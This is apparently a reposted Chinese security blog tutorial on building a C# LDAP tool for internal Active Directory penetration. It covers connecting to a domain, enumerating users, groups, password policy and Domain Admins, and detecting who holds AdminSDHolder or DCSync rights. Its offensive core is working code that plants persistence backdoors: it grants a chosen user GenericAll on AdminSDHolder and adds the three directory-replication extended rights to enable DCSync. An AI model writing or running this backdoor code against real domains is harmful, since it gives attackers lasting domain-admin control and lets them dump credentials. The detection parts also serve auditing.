<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    C#編寫LDAP內網滲透工具

    VSole2021-10-03 08:33:40

    0x01 LDAP連接

    我們常規的ldap查詢例如ldapsearch

    ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local"
    

    ldap連接地址為:ldap://192.168.11.16 用戶為hack 密碼為test123..

    在域外我們需要指定ip地址,在域內我們只需要指定域名也行,例如測試環境的redteam,也就是ldap://redteam,這里就說明我們寫代碼的時候就需要考慮是在域內還是在域外。

    在c#進行ldap連接的時候需要引入DirectoryServices.dll,這個是系統自帶的,自行尋找。

    using System.DirectoryServices
    

    1.1域外連接

    string url = "LDAP://192.168.11.16/";
    string username = "hack";
    string password = "test123..";
    DirectoryEntry coon = new DirectoryEntry(url,username, password);
    

    DirectoryEntry類可封裝 Active Directory 域服務層次結構中的節點或對象。

    1.2 域內連接

    如果是在域內,我們直接可以使用

    DirectoryEntry coon = new DirectoryEntry();
    

    所以我們就要判斷下兩種情況。我們知道了要用coon來獲取節點列表,用search來進行條件查詢。我們可以寫兩個方法來進行獲取:

            //域內
            public static DirectoryEntry Get_coon_nopass()
            {
                coon = new DirectoryEntry();
                return coon;
            }
            public static DirectorySearcher Get_search_nopass()
            {
                search = new DirectorySearcher(coon);
                return search;
            }
            //域外
            public static void SET_LDAP_USER_PASS()
            {
                url = "LDAP://" + GetArgsValue.domain;
                username = GetArgsValue.user;
                password = GetArgsValue.pass;
            }
            public static DirectoryEntry Get_coon()
            {
                coon = new DirectoryEntry(url, username, password);
                return coon;
            }
            public static DirectorySearcher Get_search()
            {
                search = new DirectorySearcher(coon);
                return search;
            }
    

    域內很好理解,這里來說下域外。SET_LDAP_USER_PASS()這個方法用來獲取url,username,password,然后調用了GetArgsValue類里面的屬性。

    這里我用了NDesk.Options來處理獲取的參數。

    先定義三個list

    List domains = new List();
    List users = new List();
    List passes = new List();
    { "t|target=", "the {Target} of the needed to add user",v => adduser.Add (v) },
    { "d|domain=", "the {IP} of the target",v => domains.Add (v) },
    { "u|user=", "the {user} of the target",v => users.Add (v) },
    

    這里的意思就是當用戶輸入-t -d -u 后面接受的值分別傳遞給了domains,users,passes。

    然后寫了個GetArgsValue類來存儲這些值

            public static string domain = "";
            public static string user = "";
            public static string pass = "";
                    public static void GetDomainValue(List param1 = null)
            {
                foreach (string p in param1)
                {
                    domain = p;
                }
            }
            public static void GetUserValue(List param2 = null)
            {
                foreach (string p in param2)
                {
                    user = p;
                }
            }
            public static void GetPassValue(List param3 = null)
            {
                foreach (string p in param3)
                {
                    pass = p;
                }
            }
    

    然后在主函數調用了一下方法。

    //domain ip
    GetArgsValue.GetDomainValue(domains);
    //domain user
    GetArgsValue.GetUserValue(users);
    //domain pass
    GetArgsValue.GetPassValue(passes);
    

    那么當用戶輸入的值就會存儲在GetArgsValue類里面的3個字段里。現在看到一下就很好理解了

    url = "LDAP://" + GetArgsValue.domain;
    username = GetArgsValue.user;
    password = GetArgsValue.pass;
    

    域內外連接都寫了,然后就要寫一個方法來接受我們的連接。

            public static void LDAP_COON()
            {
                if(GetArgsValue.user == "" && GetArgsValue.pass == "")
                {
                    try
                    {
                        coon = Get_coon_nopass();
                        search = Get_search_nopass();
                    }
                    catch
                    {
                        Font.Warning();
                        Console.WriteLine("connection ldap fail");
                        Font.NormailFonts();
                    }
                }else if(GetArgsValue.user != "" && GetArgsValue.pass != "")
                {
                    try
                    {
                        SET_LDAP_USER_PASS();
                        coon = Get_coon();
                        search = Get_search();
                    }
                    catch
                    {
                        Font.Warning();
                        Console.WriteLine("connection ldap fail");
                        Font.NormailFonts();
                    }
                }
            }
    

    這里我的方法就是當GetArgsValue.user和GetArgsValue.pass的值為空的時候就會執行域內連接方法,否則就為域外。

    我們把這個連接方法封裝到Ldapcoon類里面,方便后面的調用

    當在域外輸入以下就會連接

    xx.exe -d 192.168.11.16 -u hack -p test123..
    

    0x02 Filter搜索條件

    這里只會講一些我們需要用到的一些語法,其他語法如果感興趣可以自行搜索下。

    這里先舉例獲取域內用戶

    (&(objectClass=user)(objectCategory=person))
    

    在c#中DirectorySearcher類的作用是對 Active Directory 域服務執行查詢

    public DirectorySearcher (System.DirectoryServices.DirectoryEntry searchRoot);
    searchRoot
    DirectoryEntry
    Active Directory 域服務層次結構中的節點,從該節點處開始搜索。 SearchRoot 屬性初始化為該值。
    

    設置filter為查詢域內所有用戶

    DirectorySearcher search = new DirectorySearcher(coon);
    search.Filter = "(&(objectClass=user)(objectCategory=person))";
    foreach (SearchResult r in search.FindAll())
                {
                    string users = "";
                    try
                    {
                        users = r.Properties["name"][0].ToString();
                        Console.WriteLine(users);
                    }
                    catch
                    {
                        Console.WriteLine("error");
                    }
                }
    

    這里name值如何而來,我其實是這樣看的:我們先用ldapsearch執行該語句

    ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(objectClass=user)(objectCategory=person))"
    

    代碼:

    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Threading.Tasks;
    using System.DirectoryServices;
    namespace DemoLdap
    {
        class Program
        {
            static void Main(string[] args)
            {
                string url = "LDAP://192.168.11.16";
                string username = "hack";
                string password = "test123..";
                DirectoryEntry coon = new DirectoryEntry(url, username, password);
                DirectorySearcher search = new DirectorySearcher(coon);
                search.Filter = "(&(objectClass=user)(objectCategory=person))";
                foreach(SearchResult r in search.FindAll())
                {
                    string users = "";
                    try
                    {
                        users = r.Properties["name"][0].ToString();
                        Console.WriteLine(users);
                    }
                    catch
                    {
                        Console.WriteLine("error");
                    }
                }
            }
        }
    }
    

    執行結果為:

    0x03 c#獲取域內基本信息

    前面連接函數已經寫好后面獲取這些基本信息就很簡單了。

            public static void GetAllUsers()
            {
                try
                {
                    Ldapcoon.LDAP_COON();
                    Ldapcoon.search.Filter = "(&(objectClass=user)(objectCategory=person))";
                    Font.InfoFonts();
                    Console.WriteLine("===========All Users===========");
                    Font.NormailFonts();
                    foreach (SearchResult r in Ldapcoon.search.FindAll())
                    {
                        string domain_users = "";
                        domain_users = r.Properties["name"][0].ToString();
                        Console.WriteLine(domain_users);
                    }
                }
                catch
                {
                    Font.Warning();
                    Console.WriteLine("error!");
                    Font.NormailFonts();
                }
            }
    

    首先通過Ldapcoon類的LDAP_COON()方法獲取域內節點coon,和可以用來搜索的search。域內就會返回域內的DirectoryEntry和DirectorySearcher對象,域外就會返回域外的DirectoryEntry和DirectorySearcher對象。

    后面一些其他的就不再詳講

    查詢域內組

           public static void GetAllGroups()
            {
                try
                {
                    Ldapcoon.LDAP_COON();
                    Ldapcoon.search.Filter = "(&(objectCategory=group))";
                    Font.InfoFonts();
                    Console.WriteLine("===========All Groups===========");
                    Font.NormailFonts();
                    foreach (SearchResult r in Ldapcoon.search.FindAll())
                    {
                        string groups = "";
                        string groupdescription = "";
                        groups = r.Properties["cn"][0].ToString();
                        Console.WriteLine("Group: " + groups);
                        //groupdescription = r.Properties["description"][0].ToString();
                        //Console.WriteLine("Description: " + groupdescription + "\r");
                    }
                }
                catch
                {
                    Font.Warning();
                    Console.WriteLine("error!");
                    Font.NormailFonts();
                }
            }
    

    域內密碼策略:

            public static void GetPassPolicy()
            {
                try
                {
                    Ldapcoon.LDAP_COON();
                    Font.InfoFonts();
                    Console.WriteLine("===========Pass Policy===========");
                    Font.NormailFonts();
                    SearchResult r = Ldapcoon.search.FindOne();
                    long maxDays = 0;
                    long minDays = 0;
                    Int64 maxPwdAge = 0;
                    Int64 minPwdAge = 0;
                    string minPwdLength = "";
                    string lockoutThreshold = "";
                    Int64 lockoutDuration = 0;
                    long lockTime = 0;
                    maxPwdAge = (Int64)r.Properties["maxPwdAge"][0];
                    maxDays = maxPwdAge / -864000000000;
                    minPwdAge = (Int64)r.Properties["minPwdAge"][0];
                    minDays = minPwdAge / -864000000000;
                    minPwdLength = r.Properties["minPwdLength"][0].ToString();
                    lockoutThreshold = r.Properties["lockoutThreshold"][0].ToString();
                    lockoutDuration = (Int64)r.Properties["lockoutDuration"][0];
                    lockTime = lockoutDuration / -864000000000;
                    Console.WriteLine("最小修改密碼時間:" + minDays);
                    Console.WriteLine("最大修改密碼時間:" + maxDays);
                    Console.WriteLine("最小密碼長度:" + minPwdLength);
                    Console.WriteLine("多少次鎖定:" + lockoutThreshold);
                    Console.WriteLine("鎖定持續時間:" + lockTime);
                }
                catch
                {
                    Font.Warning();
                    Console.WriteLine("error!");
                    Font.NormailFonts();
                }
            }
    

    域管

            public static void GetAllAdmins()
            {
                try
                {
                    Ldapcoon.LDAP_COON();
                    Ldapcoon.search.Filter = "(&(objectClass=group)(cn=Domain Admins))";
                    Font.InfoFonts();
                    Console.WriteLine("===========All Domain Admins===========");
                    Font.NormailFonts();
                    foreach (SearchResult r in Ldapcoon.search.FindAll())
                    {
                        int domain_users_count = 0;
                        string domain_users = "";
                        int len = 0;
                        domain_users_count = r.Properties["member"].Count;
                        while(len < domain_users_count)
                        {
                            domain_users = r.Properties["member"][len].ToString();
                            len++;
                            if (domain_users.Contains("User"))
                            {
                                Console.WriteLine(domain_users);
                            }
                            else
                            {
                                continue;
                            }  
                        }
                    }
                }
                catch
                {
                    Font.Warning();
                    Console.WriteLine("error!");
                    Font.NormailFonts();
                }
            }
                                                       
    

    這里查詢域管,我是這樣進行處理的,我們先通過ldapsearch來查看返回結果

    然后我獲取member的數量然后看里面是否包含user來輸出。

    0x04 AdminSDHolder檢測與后門用戶添加

    4.1 檢測

    AdminSDHolder是對CN=AdminSDHolder,CN=System,DC=redteam,DC=local這個cn擁有完全控制權限的用戶,我們前面說到

    public DirectorySearcher (System.DirectoryServices.DirectoryEntry searchRoot);
    

    這里的searchroot就是查詢的根地址我們就需要綁定到CN=AdminSDHolder,CN=System,DC=redteam,DC=local這里來也就是說url為

    LDAP://192.168.11.16/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
    或者為
    LDAP://redteam/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
    

    每個域的名字都不一樣所以我們要來獲取對象的DC=redteam,DC=local和redteam這個值。

    這里我們來創建一個public_value類也就是公共值類。

    我們通過adexplorer來可以看到distinguishedName的值就為我們需要的。

    我們可以看到objectClass為domainDNS.

    所以我們的filter為:

    (&(objectClass=domainDNS))
    

    這里先用ldapsearch來進行查詢

    所以我們可以寫一個方法來獲取了:

            //獲取DC=redteam,DC=local這個值
            public static String GetdistinguishedName()
            {
                string Domain_DNS_Name = "";
                try
                {
                    Ldapcoon.LDAP_COON();
                    Ldapcoon.search.Filter = "(&(objectClass=domainDNS))";
                    foreach (SearchResult r in Ldapcoon.search.FindAll())
                    {
                        string domainDNS_Name = "";
                        domainDNS_Name = r.Properties["distinguishedName"][0].ToString();
                        Domain_DNS_Name = domainDNS_Name;
                    }
                }
                catch
                {
                    Font.Warning();
                    Console.WriteLine("error!");
                    Font.NormailFonts();
                }
                return Domain_DNS_Name;
            }
    

    同理

            //獲取readteam這個值
            public static String Get_Dns_First_Name()
            {
                string Dns_First_Name = "";
                try
                {
                    Ldapcoon.LDAP_COON();
                    Ldapcoon.search.Filter = "(&(objectClass=domainDNS))";
                    foreach (SearchResult r in Ldapcoon.search.FindAll())
                    {
                        string domainDC_Name = "";
                        domainDC_Name = r.Properties["dc"][0].ToString();
                        Dns_First_Name = domainDC_Name;
                    }
                }
                catch
                {
                    Font.Warning();
                    Console.WriteLine("error!");
                    Font.NormailFonts();
                }
                return Dns_First_Name;
            }
    

    那么現在就可以綁定adminsdholder路徑了

                //首先獲取DC=redteam,DC=local這個值
                string distinguishedName = "";
                distinguishedName = public_value.GetdistinguishedName();
                //然后獲取readteam這個值
                string dc = "";
                dc = public_value.Get_Dns_First_Name();
                if (dc != "" && distinguishedName != "")
                {
                    //進行拼接如果在域內可以直接拼接為以下
                    //LDAP://redteam/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
                    bool flag = public_value.isindomain();
                    string AdminSDHolder_path = "";
                    if (flag)
                    {
                        AdminSDHolder_path = "LDAP://" + dc + "/CN=AdminSDHolder,CN=System," + distinguishedName;
                    }
                    else
                    {
                        AdminSDHolder_path = "LDAP://" + GetArgsValue.domain + "/CN=AdminSDHolder,CN=System," + distinguishedName;
                    }
                    Ldapcoon.coon.Path = AdminSDHolder_path;
    

    這里為了方便我寫了個isindomain放來來判斷是否在域內還是在域外

            //判斷域內還是域外
            public static bool isindomain()
            {
                if (GetArgsValue.user != "" && GetArgsValue.pass != "")
                {
                    return false;
                }
                return true;
            }
    

    我們需求很簡單就是要獲取哪些用戶對adminsdholder這個cn擁有完全控制權限。

    DirectoryEntry類有個屬性叫做ObjectSecurity作用是獲取或設置此項的安全說明符。這個詳細請自行查看msdn。

                     ActiveDirectorySecurity sec = Ldapcoon.coon.ObjectSecurity;
                    AuthorizationRuleCollection rules = null;
                    rules = sec.GetAccessRules(true, true, typeof(NTAccount));
                    foreach (ActiveDirectoryAccessRule rule in rules)
                    {
                        if (rule.ActiveDirectoryRights.ToString().Equals("GenericAll"))
                        {
                            string acl = rule.IdentityReference.Value;
                            if (acl.Contains("-"))
                            {
                                //域外查詢可能會出現用戶名為sid的情況。所以需要轉換
                                //Console.WriteLine(acl);
                                string user_name = public_value.SidToUserName(acl);
                                if(user_name != "error")
                                {
                                    Console.WriteLine(user_name);
                                }  
                            }
                            else
                            {
                                Console.WriteLine(acl);
                            }
                        }
                    }
    

    獲取到coon的安全說明符后調用GetAccessRules方法獲取與指定的安全性標識符關聯的訪問規則的集合。也就是說獲取我們這個節點的規則集合,然后用foreach來循環判斷。當用戶的ActiveDirectoryRights也就是權限為GenericAll我們就輸出出來他的名字,也就是對adminsdholder這個擁有完全控制權限的用戶。當我們在域外的時候我們獲取到的用戶可能是sid,所以我們還需要讓sid轉換為域內用戶名字。當然這個用戶可能是一個user,group或者一個computer

    這里調用了public_value的SidToUserName方法。

            //sid to username
            public static string SidToUserName(string sid)
            {
                try
                {
                    Ldapcoon.LDAP_COON();
                    string url = "LDAP://" + GetArgsValue.domain + "/ + sid + ">";
                    Ldapcoon.coon.Path = url;
                    Ldapcoon.search.Filter = "(&(objectClass=user)(objectCategory=person))";
                    foreach (SearchResult r in Ldapcoon.search.FindAll())
                    {
                        string users = "";
                        users = r.Properties["name"][0].ToString();
                        if (users != "")
                        {
                            return users;
                        }
                    }
                    Ldapcoon.search.Filter = "(&(objectClass=group))";
                    foreach (SearchResult r in Ldapcoon.search.FindAll())
                    {
                        string groups = "";
                        groups = r.Properties["name"][0].ToString();
                        if (groups != "")
                        {
                            return groups;
                        }
                    }
                    Ldapcoon.search.Filter = "(&(objectClass=computer))";
                    foreach (SearchResult r in Ldapcoon.search.FindAll())
                    {
                        string computers = "";
                        computers = r.Properties["name"][0].ToString();
                        if (computers != "")
                        {
                            return computers;
                        }
                    }
                }
                catch
                {
                }
                return "error";
            }
    

    在ldap用支持以下語法這種形式

    LDAP://192.168.11.16/
    

    于是我們把sid帶入,設置coon.path為該用戶再通過(&(objectClass=user)(objectCategory=person))過濾條件搜索出來,比如

    我們綁定了hack用戶為rootpath,那么通過過濾條件搜索出來的也是它自己,因為它沒有子節點了。然后獲取他的name值,當獲取到的不為空就返回,否則就返回error,然后在adminsdholder檢測代碼這邊我們寫道

                            string acl = rule.IdentityReference.Value;
                            if (acl.Contains("-"))
                            {
                                //域外查詢可能會出現用戶名為sid的情況。所以需要轉換
                                //Console.WriteLine(acl);
                                string user_name = public_value.SidToUserName(acl);
                                if(user_name != "error")
                                {
                                    Console.WriteLine(user_name);
                                } 
    

    當user_name不為error的時候就會輸出,那么什么時候會輸出error呢?假如我們以前有一個用戶為qqq,然后他對adminsdholder這個組擁有完全控制權限,但是我們后來把這個用戶刪除了,他就會到一個CN=Deleted Objects里面他的sid就為url就為下面這個然后我們的LDAP://redteam/就會失敗。

    CN=qqqDEL:67e38247-2727-4c5a-8704-c9f33ad747da,CN=Deleted Objects,DC=redteam,DC=local
    

    我們在匹配誰對adminsdholder擁有完全控制權限的時候還是會檢測到。就搜索失敗返回error,這里我們獲取到error的直接continue。

    4.2 添加

    前面同理我們需要設置rootpath

    Ldapcoon.LDAP_COON();
    //獲取DC=redteam,DC=local
    string distinguishedName = "";
    string domainname = "";
    domainname = public_value.Get_Dns_First_Name();
    distinguishedName = public_value.GetdistinguishedName();
    //string AdminSDHolder_Path = "LDAP://192.168.11.16/CN=System,DC=redteam,DC=local";
    string AdminSDHolder_Path = "LDAP://" + domainname + "/" + "CN=System," + distinguishedName;
    //Console.WriteLine(AdminSDHolder_Path);
    Ldapcoon.coon.Path = AdminSDHolder_Path;
    

    賦予用戶對adminsdholder完全控制權限

                foreach (DirectoryEntry computer in Ldapcoon.coon.Children)
                {
                    if (computer.Name == "CN=AdminSDHolder")
                    {
                        ActiveDirectorySecurity sdc = computer.ObjectSecurity;
                        NTAccount Account = new NTAccount(username);
                        SecurityIdentifier Sid =(SecurityIdentifier)Account.Translate(typeof(SecurityIdentifier));
                        ActiveDirectoryAccessRule rule = new ActiveDirectoryAccessRule(Sid,ActiveDirectoryRights.GenericAll,AccessControlType.Allow);
                        sdc.SetAccessRule(rule);
                        computer.CommitChanges();
                        Font.InfoFonts();
                        Console.WriteLine("AdminSDHolder back door add user "+ username + " success!!");
                        Font.NormailFonts();
                    }
                }
    

    我們先遍歷節點當節點為CN=AdminSDHolder的時候獲取他的安全規則集合

    然后我們看到ActiveDirectoryAccessRule類:用于表示 Active Directory 域服務對象的自由訪問控制列表 (DACL) 中的訪問控制項 (ACE)。

    ActiveDirectoryAccessRule(IdentityReference, ActiveDirectoryRights, AccessControlType)
    

    我們可以看到第一個參數為一個IdentityReference對象,第二個參數為訪問規則權限的一個或多個,第三個參數為訪問規則類型。

    我們前面的account為NTAccount類型,我們可以通過Translate把他轉換為IdentityReference類型,然后第二個我們設置為GenericAll,第三個設置為允許。我們設置了這個規則后可以通過SetAccessRule方法來設置。

    最后通過CommitChanges方法來進行添加。

    0x05 Dcsync檢測與后門用戶添加

    5.1 檢測

    當用戶對根域擁有完全控制權限或者擁有以下三條ace或者對以下權限打勾的時候就能dcsync。

    1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
    1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
    89e95b76-444d-4c62-991a-0facbeda640c
    

    我們先綁定rootpath為根路徑然后先判斷擁有完全控制權限的用戶:

                        if (rule.ActiveDirectoryRights.ToString().Equals("GenericAll"))
                        {
                            string acl = rule.IdentityReference.Value;
                            if (acl.Contains("-"))
                            {
                                //域外查詢可能會出現用戶名為sid的情況。所以需要轉換
                                //Console.WriteLine(acl);
                                string user_name = public_value.SidToUserName(acl);
                                if (user_name != "error")
                                {
                                    ACE_Changes.Add(user_name);
                                    ACE_Changes_All.Add(user_name);
                                    ACE_Changes_In_Filtered_Set.Add(user_name);
                                }
                                else
                                {
                                    continue;
                                }
                            }
                            else
                            {
                                ACE_Changes.Add(acl);
                                ACE_Changes_All.Add(acl);
                                ACE_Changes_In_Filtered_Set.Add(acl);
                            } 
                        }
    

    這里的

    ACE_Changes.Add(acl);
    ACE_Changes_All.Add(acl);
    ACE_Changes_In_Filtered_Set.Add(acl);
    

    這里我通過switch case來進行判斷是否擁有這個三條acl,可能有些用戶只有兩條或者一條,所以我通過

    string guids = rule.ObjectType.ToString();
    switch (guids)
    {
      case "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2":
        username = dcsync_return_username(rule);
        if(username == null)
        {
            continue;
        }
        //Console.WriteLine("ACE:復制目錄更改");
        //Console.WriteLine("User:"+ username);
        ACE_Changes.Add(username);
        break;
      case "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2":
        username = dcsync_return_username(rule);
        if (username == null)
        {
            continue;
        }
        //Console.WriteLine("ACE:復制目錄更改全部");
        //Console.WriteLine("User:" + username);
        ACE_Changes_All.Add(username);
        break;
      case "89e95b76-444d-4c62-991a-0facbeda640c":
        username = dcsync_return_username(rule);
        if (username == null)
        {
            continue;
        }
        //Console.WriteLine("ACE:復制過濾集中的目錄更改");
        //Console.WriteLine("User:" + username);
        ACE_Changes_In_Filtered_Set.Add(username);
        break;
    }
    

    來進行處理,當擁有每條acl的時候就添加到一個集合里面,然后我們再取三個集合的交集

    //取三個集合的交集
    IEnumerable dcsync_users1 = ACE_Changes.Intersect(ACE_Changes_All);
    IEnumerable dcsync_users2 = dcsync_users1.Intersect(ACE_Changes_In_Filtered_Set);
    foreach(string dcsync_users in dcsync_users2)
    {
        Console.WriteLine(dcsync_users);
    }
    

    通過以上方法取出來我發現了一個問題當一個用戶勾選了特殊權限,他的acl里面那三個復制目錄權限是沒有打上勾的但是依然能夠進行dcsync。

    再ActiveDirectoryAccessRule類里面存在一個InheritedObjectType屬性,他的作用是獲取可繼承ObjectAccessRule對象的子對象的類型,所以我們也要判斷用戶這里面的值是否也用戶這三條acl。

    string guids_extend = rule.InheritedObjectType.ToString();
    switch (guids_extend)
    {
      case "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2":
      username = dcsync_return_username(rule);
      if (username == null)
      {
          continue;
      }
      //Console.WriteLine("ACE:復制目錄更改");
      //Console.WriteLine("User:"+ username);
      ACE_Changes.Add(username);
      break;
        case "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2":
        username = dcsync_return_username(rule);
        if (username == null)
        {
            continue;
        }
        //Console.WriteLine("ACE:復制目錄更改全部");
        //Console.WriteLine("User:" + username);
        ACE_Changes_All.Add(username);
        break;
      case "89e95b76-444d-4c62-991a-0facbeda640c":
      username = dcsync_return_username(rule);
      if (username == null)
      {
          continue;
      }
      //Console.WriteLine("ACE:復制過濾集中的目錄更改");
      //Console.WriteLine("User:" + username);
      ACE_Changes_In_Filtered_Set.Add(username);
      break;
      }
    

    5.2 添加

    我們通過ExtendedRightAccessRule類來添加這三條acl的guid

    public ExtendedRightAccessRule (System.Security.Principal.IdentityReference identity, System.Security.AccessControl.AccessControlType type, Guid extendedRightType);
    

    第一個為SecurityIdentifier的對象,前面已經說明了。第二個為訪問規則類型。第三個為acl的guid。

    然后通過AddAccessRule來添加。

    ActiveDirectorySecurity adsOUSec = Ldapcoon.coon.ObjectSecurity;
    NTAccount ntaToDelegate = new NTAccount(username);
    SecurityIdentifier Sid = (SecurityIdentifier)ntaToDelegate.Translate(typeof(SecurityIdentifier));
    Guid Get_Changes = new Guid("1131f6aa-9c07-11d1-f79f-00c04fc2dcd2");
    Guid Get_Changes_All = new Guid("1131f6ad-9c07-11d1-f79f-00c04fc2dcd2");
    Guid ACE_Changes_In_Filtered = new Guid("89e95b76-444d-4c62-991a-0facbeda640c");
    ExtendedRightAccessRule Changes = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, Get_Changes);
    ExtendedRightAccessRule Changes_All = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, Get_Changes_All);
    ExtendedRightAccessRule Changes_Filtered = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, ACE_Changes_In_Filtered);
    adsOUSec.AddAccessRule(Changes);
    adsOUSec.AddAccessRule(Changes_All);
    adsOUSec.AddAccessRule(Changes_Filtered);
    Ldapcoon.coon.CommitChanges()
    

    stringtry
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    java安全-02RMI
    2022-03-25 15:35:13
    基礎知識動態代理反射攻擊方式注冊端攻擊服務端java -cp .\ysoserial-master-8eb5
    漏洞分析花了蠻多時間
    獲取到類之后,我們就可以通過反射來間接調用里面的方法,獲取里面的變量等。
    java反射機制是什么
    聲明:該公眾號大部分文章來自作者日常學習筆記,也有少部分文章是經過原作者授權和其他公眾號白名單轉載,未經授權
    ldap連接地址為:ldap://192.168.11.16 用戶為hack 密碼為test123.. 在域外我們需要指定ip地址,在域內我們只需要指定域名也行,例如測試環境的redteam,也就是ldap://redteam,這里就說明我們寫代碼的時候就需要考慮是在域內還是在域外。 在c#進行ldap連接的時候需要引入DirectoryServices.dll,這個是系統自帶的,自行尋找。
    近日,奇安信威脅情報中心注意到外國安全廠商humansecurity在外網揭露了一個名為BADBOX的事件,其報告稱觀察到至少觀察到74000 部基于 Android 的手機、平板電腦、和全球聯網電視盒有遭遇BADBOX 感染的跡象;而來自趨勢科技的說法是該后門據信被植入了2000萬數量級別的設備。實際上,humansecurity在其分析報告中已經對該事件進行了比較詳細的技術分析,各位如果有興
    它指的是一個有用的工具庫,幫助處理和操作XML格式的數據。ROME庫允許我們把XML數據轉換成Java中的對象,這樣我們可以更方便地在程序中操作數據。另外,它也支持將Java對象轉換成XML數據,這樣我們就可以把數據保存成XML文件或者發送給其他系統。
    遺憾的是,國外白帽不同意 Oracle 對這個漏洞的分類“難以利用的漏洞……”因此本文將說明為什么這個 CVE 應該被指定為 10.0 而不是 7.2 的評級,盡管 Oracle 聲稱,此漏洞不需要任何身份驗證即可利用。該軟件的最新版本可在 Oracle 的下載中心輕松獲得,在以普通用戶身份進行身份驗證后即可訪問,獲得安裝文件不需要許可證或銷售電話。
    現在只對常讀和星標的公眾號才展示大圖推送,建議大家把瀟湘信安“設為星標”,否則可能看不到了!0x00 前言對國外某地產公司的一次測試,測試過程中每一步都有阻礙,不像以往的一帆風順,對其中涉及的一些點進行一個簡單的記錄,碼較厚,見諒。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类